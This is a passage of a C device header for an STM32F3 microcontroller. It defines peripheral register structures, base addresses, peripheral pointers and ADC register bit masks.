peripheral clock enable register, Address offset: 0x18 */ __IO uint32_t APB1ENR; /*!< RCC APB1 peripheral clock enable register, Address offset: 0x1C */ __IO uint32_t BDCR; /*!< RCC Backup domain control register, Address offset: 0x20 */ __IO uint32_t CSR; /*!< RCC clock control & status register, Address offset: 0x24 */ __IO uint32_t AHBRSTR; /*!< RCC AHB peripheral reset register, Address offset: 0x28 */ __IO uint32_t CFGR2; /*!< RCC clock configuration register 2, Address offset: 0x2C */ __IO uint32_t CFGR3; /*!< RCC clock configuration register 3, Address offset: 0x30 */ } RCC_TypeDef; /** * @brief Real-Time Clock */ typedef struct { __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ __IO uint32_t CR; /*!< RTC control register, Address offset: 0x08 */ __IO uint32_t ISR; /*!< RTC initialization and status register, Address offset: 0x0C */ __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ uint32_t RESERVED0; /*!< Reserved, 0x18 */ __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x1C */ __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x20 */ __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x28 */ __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x3C */ __IO uint32_t TAFCR; /*!< RTC tamper and alternate function configuration register, Address offset: 0x40 */ __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x48 */ uint32_t RESERVED7; /*!< Reserved, 0x4C */ __IO uint32_t BKP0R; /*!< RTC backup register 0, Address offset: 0x50 */ __IO uint32_t BKP1R; /*!< RTC backup register 1, Address offset: 0x54 */ __IO uint32_t BKP2R; /*!< RTC backup register 2, Address offset: 0x58 */ __IO uint32_t BKP3R; /*!< RTC backup register 3, Address offset: 0x5C */ __IO uint32_t BKP4R; /*!< RTC backup register 4, Address offset: 0x60 */ } RTC_TypeDef; /** * @brief Serial Peripheral Interface */ typedef struct { __IO uint32_t CR1; /*!< SPI Control register 1, Address offset: 0x00 */ __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x08 */ __IO uint32_t DR; /*!< SPI data register, Address offset: 0x0C */ __IO uint32_t CRCPR; /*!< SPI CRC polynomial register, Address offset: 0x10 */ __IO uint32_t RXCRCR; /*!< SPI Rx CRC register, Address offset: 0x14 */ __IO uint32_t TXCRCR; /*!< SPI Tx CRC register, Address offset: 0x18 */ } SPI_TypeDef; /** * @brief TIM */ typedef struct { __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ __IO uint32_t CCR[4]; /*!< TIM capture/compare 4 registers, Address offset: 0x34 */ __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x48 */ __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x4C */ __IO uint32_t OR; /*!< TIM option register, Address offset: 0x50 */ __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x54 */ __IO uint32_t CCR5; /*!< TIM capture/compare register5, Address offset: 0x58 */ __IO uint32_t CCR6; /*!< TIM capture/compare register 4, Address offset: 0x5C */ } TIM_TypeDef; /** * @brief Touch Sensing Controller (TSC) */ typedef struct { __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ } TSC_TypeDef; /** * @brief Universal Synchronous Asynchronous Receiver Transmitter */ typedef struct { __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ __IO uint16_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ uint16_t RESERVED1; /*!< Reserved, 0x26 */ __IO uint16_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ uint16_t RESERVED2; /*!< Reserved, 0x2A */ } USART_TypeDef; /** * @brief Window WATCHDOG */ typedef struct { __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ } WWDG_TypeDef; /** @addtogroup Peripheral_memory_map * @{ */ #define FLASH_BASE ((uint32_t)0x08000000U) /*!< FLASH base address in the alias region */ #define CCMDATARAM_BASE ((uint32_t)0x10000000U) /*!< CCM(core coupled memory) data RAM base address in the alias region */ #define SRAM_BASE ((uint32_t)0x20000000U) /*!< SRAM base address in the alias region */ #define PERIPH_BASE ((uint32_t)0x40000000U) /*!< Peripheral base address in the alias region */ #define SRAM_BB_BASE ((uint32_t)0x22000000U) /*!< SRAM base address in the bit-band region */ #define PERIPH_BB_BASE ((uint32_t)0x42000000U) /*!< Peripheral base address in the bit-band region */ /*!< Peripheral memory map */ #define APB1PERIPH_BASE PERIPH_BASE #define APB2PERIPH_BASE (PERIPH_BASE + 0x00010000U) #define AHB1PERIPH_BASE (PERIPH_BASE + 0x00020000U) #define AHB2PERIPH_BASE (PERIPH_BASE + 0x08000000U) #define AHB3PERIPH_BASE (PERIPH_BASE + 0x10000000U) /*!< APB1 peripherals */ #define TIM2_BASE (APB1PERIPH_BASE + 0x00000000U) #define TIM3_BASE (APB1PERIPH_BASE + 0x00000400U) #define TIM6_BASE (APB1PERIPH_BASE + 0x00001000U) #define TIM7_BASE (APB1PERIPH_BASE + 0x00001400U) #define RTC_BASE (APB1PERIPH_BASE + 0x00002800U) #define WWDG_BASE (APB1PERIPH_BASE + 0x00002C00U) #define IWDG_BASE (APB1PERIPH_BASE + 0x00003000U) #define USART2_BASE (APB1PERIPH_BASE + 0x00004400U) #define USART3_BASE (APB1PERIPH_BASE + 0x00004800U) #define I2C1_BASE (APB1PERIPH_BASE + 0x00005400U) #define CAN_BASE (APB1PERIPH_BASE + 0x00006400U) #define PWR_BASE (APB1PERIPH_BASE + 0x00007000U) #define DAC1_BASE (APB1PERIPH_BASE + 0x00007400U) #define DAC2_BASE (APB1PERIPH_BASE + 0x00009800U) #define DAC_BASE DAC1_BASE /*!< APB2 peripherals */ #define SYSCFG_BASE (APB2PERIPH_BASE + 0x00000000U) #define COMP2_BASE (APB2PERIPH_BASE + 0x00000020U) #define COMP4_BASE (APB2PERIPH_BASE + 0x00000028U) #define COMP6_BASE (APB2PERIPH_BASE + 0x00000030U) #define COMP_BASE COMP2_BASE #define OPAMP2_BASE (APB2PERIPH_BASE + 0x0000003CU) #define OPAMP_BASE OPAMP2_BASE #define EXTI_BASE (APB2PERIPH_BASE + 0x00000400U) #define TIM1_BASE (APB2PERIPH_BASE + 0x00002C00U) #define SPI1_BASE (APB2PERIPH_BASE + 0x00003000U) #define USART1_BASE (APB2PERIPH_BASE + 0x00003800U) #define TIM15_BASE (APB2PERIPH_BASE + 0x00004000U) #define TIM16_BASE (APB2PERIPH_BASE + 0x00004400U) #define TIM17_BASE (APB2PERIPH_BASE + 0x00004800U) /*!< AHB1 peripherals */ #define DMA1_BASE (AHB1PERIPH_BASE + 0x00000000U) #define DMA1_Channel1_BASE (AHB1PERIPH_BASE + 0x00000008U) #define DMA1_Channel2_BASE (AHB1PERIPH_BASE + 0x0000001CU) #define DMA1_Channel3_BASE (AHB1PERIPH_BASE + 0x00000030U) #define DMA1_Channel4_BASE (AHB1PERIPH_BASE + 0x00000044U) #define DMA1_Channel5_BASE (AHB1PERIPH_BASE + 0x00000058U) #define DMA1_Channel6_BASE (AHB1PERIPH_BASE + 0x0000006CU) #define DMA1_Channel7_BASE (AHB1PERIPH_BASE + 0x00000080U) #define RCC_BASE (AHB1PERIPH_BASE + 0x00001000U) #define FLASH_R_BASE (AHB1PERIPH_BASE + 0x00002000U) /*!< Flash registers base address */ #define OB_BASE ((uint32_t)0x1FFFF800U) /*!< Flash Option Bytes base address */ #define FLASHSIZE_BASE ((uint32_t)0x1FFFF7CCU) /*!< FLASH Size register base address */ #define UID_BASE ((uint32_t)0x1FFFF7ACU) /*!< Unique device ID register base address */ #define CRC_BASE (AHB1PERIPH_BASE + 0x00003000U) #define TSC_BASE (AHB1PERIPH_BASE + 0x00004000U) /*!< AHB2 peripherals */ #define GPIOA_BASE (AHB2PERIPH_BASE + 0x00000000U) #define GPIOB_BASE (AHB2PERIPH_BASE + 0x00000400U) #define GPIOC_BASE (AHB2PERIPH_BASE + 0x00000800U) #define GPIOD_BASE (AHB2PERIPH_BASE + 0x00000C00U) #define GPIOF_BASE (AHB2PERIPH_BASE + 0x00001400U) /*!< AHB3 peripherals */ #define ADC1_BASE (AHB3PERIPH_BASE + 0x00000000U) #define ADC2_BASE (AHB3PERIPH_BASE + 0x00000100U) #define ADC1_2_COMMON_BASE (AHB3PERIPH_BASE + 0x00000300U) #define DBGMCU_BASE ((uint32_t)0xE0042000U) /*!< Debug MCU registers base address */ /** * @} */ /** @addtogroup Peripheral_declaration * @{ */ #define TIM2 ((TIM_TypeDef *) TIM2_BASE) #define TIM3 ((TIM_TypeDef *) TIM3_BASE) #define TIM6 ((TIM_TypeDef *) TIM6_BASE) #define TIM7 ((TIM_TypeDef *) TIM7_BASE) #define RTC ((RTC_TypeDef *) RTC_BASE) #define WWDG ((WWDG_TypeDef *) WWDG_BASE) #define IWDG ((IWDG_TypeDef *) IWDG_BASE) #define USART2 ((USART_TypeDef *) USART2_BASE) #define USART3 ((USART_TypeDef *) USART3_BASE) #define I2C1 ((I2C_TypeDef *) I2C1_BASE) #define CAN ((CAN_TypeDef *) CAN_BASE) #define PWR ((PWR_TypeDef *) PWR_BASE) #define DAC ((DAC_TypeDef *) DAC_BASE) #define DAC1 ((DAC_TypeDef *) DAC1_BASE) #define DAC2 ((DAC_TypeDef *) DAC2_BASE) #define COMP2 ((COMP_TypeDef *) COMP2_BASE) #define COMP4 ((COMP_TypeDef *) COMP4_BASE) #define COMP6 ((COMP_TypeDef *) COMP6_BASE) /* Legacy define */ #define COMP ((COMP_TypeDef *) COMP_BASE) #define OPAMP ((OPAMP_TypeDef *) OPAMP_BASE) #define OPAMP2 ((OPAMP_TypeDef *) OPAMP2_BASE) #define SYSCFG ((SYSCFG_TypeDef *) SYSCFG_BASE) #define EXTI ((EXTI_TypeDef *) EXTI_BASE) #define TIM1 ((TIM_TypeDef *) TIM1_BASE) #define SPI1 ((SPI_TypeDef *) SPI1_BASE) #define USART1 ((USART_TypeDef *) USART1_BASE) #define TIM15 ((TIM_TypeDef *) TIM15_BASE) #define TIM16 ((TIM_TypeDef *) TIM16_BASE) #define TIM17 ((TIM_TypeDef *) TIM17_BASE) #define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) #define DMA1 ((DMA_TypeDef *) DMA1_BASE) #define DMA1_Channel1 ((DMA_Channel_TypeDef *) DMA1_Channel1_BASE) #define DMA1_Channel2 ((DMA_Channel_TypeDef *) DMA1_Channel2_BASE) #define DMA1_Channel3 ((DMA_Channel_TypeDef *) DMA1_Channel3_BASE) #define DMA1_Channel4 ((DMA_Channel_TypeDef *) DMA1_Channel4_BASE) #define DMA1_Channel5 ((DMA_Channel_TypeDef *) DMA1_Channel5_BASE) #define DMA1_Channel6 ((DMA_Channel_TypeDef *) DMA1_Channel6_BASE) #define DMA1_Channel7 ((DMA_Channel_TypeDef *) DMA1_Channel7_BASE) #define RCC ((RCC_TypeDef *) RCC_BASE) #define FLASH ((FLASH_TypeDef *) FLASH_R_BASE) #define OB ((OB_TypeDef *) OB_BASE) #define CRC ((CRC_TypeDef *) CRC_BASE) #define TSC ((TSC_TypeDef *) TSC_BASE) #define GPIOA ((GPIO_TypeDef *) GPIOA_BASE) #define GPIOB ((GPIO_TypeDef *) GPIOB_BASE) #define GPIOC ((GPIO_TypeDef *) GPIOC_BASE) #define GPIOD ((GPIO_TypeDef *) GPIOD_BASE) #define GPIOF ((GPIO_TypeDef *) GPIOF_BASE) #define ADC1 ((ADC_TypeDef *) ADC1_BASE) #define ADC2 ((ADC_TypeDef *) ADC2_BASE) #define ADC12_COMMON ((ADC_Common_TypeDef *) ADC1_2_COMMON_BASE) /* Legacy defines */ #define ADC1_2_COMMON ADC12_COMMON /** * @} */ /** @addtogroup Exported_constants * @{ */ /** @addtogroup Peripheral_Registers_Bits_Definition * @{ */ /******************************************************************************/ /* Peripheral Registers_Bits_Definition */ /******************************************************************************/ /******************************************************************************/ /* */ /* Analog to Digital Converter SAR (ADC) */ /* */ /******************************************************************************/ #define ADC5_V1_1 /*!< ADC IP version */ /* * @brief Specific device feature definitions (not present on all devices in the STM32F3 serie) */ #define ADC_MULTIMODE_SUPPORT /*!< ADC feature available only on specific devices: multimode available on devices with several ADC instances */ /******************** Bit definition for ADC_ISR register ********************/ #define ADC_ISR_ADRDY_Pos (0U) #define ADC_ISR_ADRDY_Msk (0x1U << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ #define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC ready flag */ #define ADC_ISR_EOSMP_Pos (1U) #define ADC_ISR_EOSMP_Msk (0x1U << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ #define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC group regular end of sampling flag */ #define ADC_ISR_EOC_Pos (2U) #define ADC_ISR_EOC_Msk (0x1U << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ #define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC group regular end of unitary conversion flag */ #define ADC_ISR_EOS_Pos (3U) #define ADC_ISR_EOS_Msk (0x1U << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ #define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC group regular end of sequence conversions flag */ #define ADC_ISR_OVR_Pos (4U) #define ADC_ISR_OVR_Msk (0x1U << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ #define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC group regular overrun flag */ #define ADC_ISR_JEOC_Pos (5U) #define ADC_ISR_JEOC_Msk (0x1U << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ #define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC group injected end of unitary conversion flag */ #define ADC_ISR_JEOS_Pos (6U) #define ADC_ISR_JEOS_Msk (0x1U << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ #define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC group injected end of sequence conversions flag */ #define ADC_ISR_AWD1_Pos (7U) #define ADC_ISR_AWD1_Msk (0x1U << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ #define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC analog watchdog 1 flag */ #define ADC_ISR_AWD2_Pos (8U) #define ADC_ISR_AWD2_Msk (0x1U << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ #define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC analog watchdog 2 flag */ #define ADC_ISR_AWD3_Pos (9U) #define ADC_ISR_AWD3_Msk (0x1U << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ #define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC analog watchdog 3 flag */ #define ADC_ISR_JQOVF_Pos (10U) #define ADC_ISR_JQOVF_Msk (0x1U << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ #define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC group injected contexts queue overflow flag */ /* Legacy defines */ #define ADC_ISR_ADRD (ADC_ISR_ADRDY) /******************** Bit definition for ADC_IER register ********************/ #define ADC_IER_ADRDYIE_Pos (0U) #define ADC_IER_ADRDYIE_Msk (0x1U << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ #define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC ready interrupt */ #define ADC_IER_EOSMPIE_Pos (1U) #define ADC_IER_EOSMPIE_Msk (0x1U << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ #define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC group regular end of sampling interrupt */ #define ADC_IER_EOCIE_Pos (2U) #define ADC_IER_EOCIE_Msk (0x1U << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ #define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC group regular end of unitary conversion interrupt */ #define ADC_IER_EOSIE_Pos (3U) #define ADC_IER_EOSIE_Msk (0x1U << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ #define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ #define ADC_IER_OVRIE_Pos (4U) #define ADC_IER_OVRIE_Msk (0x1U << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ #define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ #define ADC_IER_JEOCIE_Pos (5U) #define ADC_IER_JEOCIE_Msk (0x1U << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ #define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ #define ADC_IER_JEOSIE_Pos (6U) #define ADC_IER_JEOSIE_Msk (0x1U << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ #define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ #define ADC_IER_AWD1IE_Pos (7U) #define ADC_IER_AWD1IE_Msk (0x1U << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ #define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ #define ADC_IER_AWD2IE_Pos (8U) #define ADC_IER_AWD2IE_Msk (0x1U << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ #define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ #define ADC_IER_AWD3IE_Pos (9U) #define ADC_IER_AWD3IE_Msk (0x1U << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ #define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ #define ADC_IER_JQOVFIE_Pos (10U) #define ADC_IER_JQOVFIE_Msk (0x1U << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ #define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ /* Legacy defines */ #define ADC_IER_RDY (ADC_IER_ADRDYIE) #define ADC_IER_EOSMP (ADC_IER_EOSMPIE) #define ADC_IER_EOC (ADC_IER_EOCIE) #define ADC_IER_EOS (ADC_IER_EOSIE) #define ADC_IER_OVR (ADC_IER_OVRIE) #define ADC_IER_JEOC (ADC_IER_JEOCIE) #define ADC_IER_JEOS (ADC_IER_JEOSIE) #define ADC_IER_AWD1 (ADC_IER_AWD1IE) #define ADC_IER_AWD2 (ADC_IER_AWD2IE) #define ADC_IER_AWD3 (ADC_IER_AWD3IE) #define ADC_IER_JQOVF (ADC_IER_JQOVFIE) /******************** Bit definition for ADC_CR register ********************/ #define ADC_CR_ADEN_Pos (0U) #define ADC_CR_ADEN_Msk (0x1U << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ #define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ #define ADC_CR_ADDIS_Pos (1U) #define ADC_CR_ADDIS_Msk (0x1U << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ #define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ #define ADC_CR_ADSTART_Pos (2U) #define ADC_CR_ADSTART_Msk (0x1U << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ #define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ #define ADC_CR_JADSTART_Pos (3U) #define ADC_CR_JADSTART_Msk (0x1U << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ #define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ #define ADC_CR_ADSTP_Pos (4U) #define ADC_CR_ADSTP_Msk (0x1U << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ #define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ #define ADC_CR_JADSTP_Pos (5U) #define ADC_CR_JADSTP_Msk (0x1U << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ #define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ #define ADC_CR_ADVREGEN_Pos (28U) #define ADC_CR_ADVREGEN_Msk (0x3U << ADC_CR_ADVREGEN_Pos) /*!< 0x30000000 */ #define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ #define ADC_CR_ADVREGEN_0 (0x1U << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ #define ADC_CR_ADVREGEN_1 (0x2U << ADC_CR_ADVREGEN_Pos) /*!< 0x20000000 */ #define ADC_CR_ADCALDIF_Pos (30U) #define ADC_CR_ADCALDIF_Msk (0x1U << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ #define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ #define ADC_CR_ADCAL_Pos (31U) #define ADC_CR_ADCAL_Msk (0x1U << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ #define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ /******************** Bit definition for ADC_CFGR register ******************/ #define ADC_CFGR_DMAEN_Pos (0U) #define ADC_CFGR_DMAEN_Msk (0x1U << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ #define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA enable */ #define ADC_CFGR_DMACFG_Pos (1U) #define ADC_CFGR_DMACFG_Msk (0x1U << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ #define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA configuration */ #define ADC_CFGR_RES_Pos (3U) #define ADC_CFGR_RES_Msk (0x3U << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ #define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ #define ADC_CFGR_RES_0 (0x1U << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ #define ADC_CFGR_RES_1 (0x2U << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ #define ADC_CFGR_ALIGN_Pos (5U) #define ADC_CFGR_ALIGN_Msk (0x1U << ADC_CFGR_ALIGN_Pos) /*!< 0x00000020 */ #define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignement */ #define ADC_CFGR_EXTSEL_Pos (6U) #define ADC_CFGR_EXTSEL_Msk (0xFU << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003C0 */ #define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ #define ADC_CFGR_EXTSEL_0 (0x1U << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ #define ADC_CFGR_EXTSEL_1 (0x2U << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ #define ADC_CFGR_EXTSEL_2 (0x4U << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ #define ADC_CFGR_EXTSEL_3 (0x8U << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ #define ADC_CFGR_EXTEN_Pos (10U) #define ADC_CFGR_EXTEN_Msk (0x3U << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ #define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ #define ADC_CFGR_EXTEN_0 (0x1U << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ #define ADC_CFGR_EXTEN_1 (0x2U << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ #define ADC_CFGR_OVRMOD_Pos (12U) #define ADC_CFGR_OVRMOD_Msk (0x1U << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ #define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ #define ADC_CFGR_CONT_Pos (13U) #define ADC_CFGR_CONT_Msk (0x1U << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ #define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ #define ADC_CFGR_AUTDLY_Pos (14U) #define ADC_CFGR_AUTDLY_Msk (0x1U << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ #define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ #define ADC_CFGR_DISCEN_Pos (16U) #define ADC_CFGR_DISCEN_Msk (0x1U << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ #define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ #define ADC_CFGR_DISCNUM_Pos (17U) #define ADC_CFGR_DISCNUM_Msk (0x7U << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ #define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ #define ADC_CFGR_DISCNUM_0 (0x1U << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ #define ADC_CFGR_DISCNUM_1 (0x2U << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ #define ADC_CFGR_DISCNUM_2 (0x4U << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ #define ADC_CFGR_JDISCEN_Pos (20U) #define ADC_CFGR_JDISCEN_Msk (0x1U << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ #define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ #define ADC_CFGR_JQM_Pos (21U) #define ADC_CFGR_JQM_Msk (0x1U << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ #define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ #define ADC_CFGR_AWD1SGL_Pos (22U) #define ADC_CFGR_AWD1SGL_Msk (0x1U << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ #define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ #define ADC_CFGR_AWD1EN_Pos (23U) #define ADC_CFGR_AWD1EN_Msk 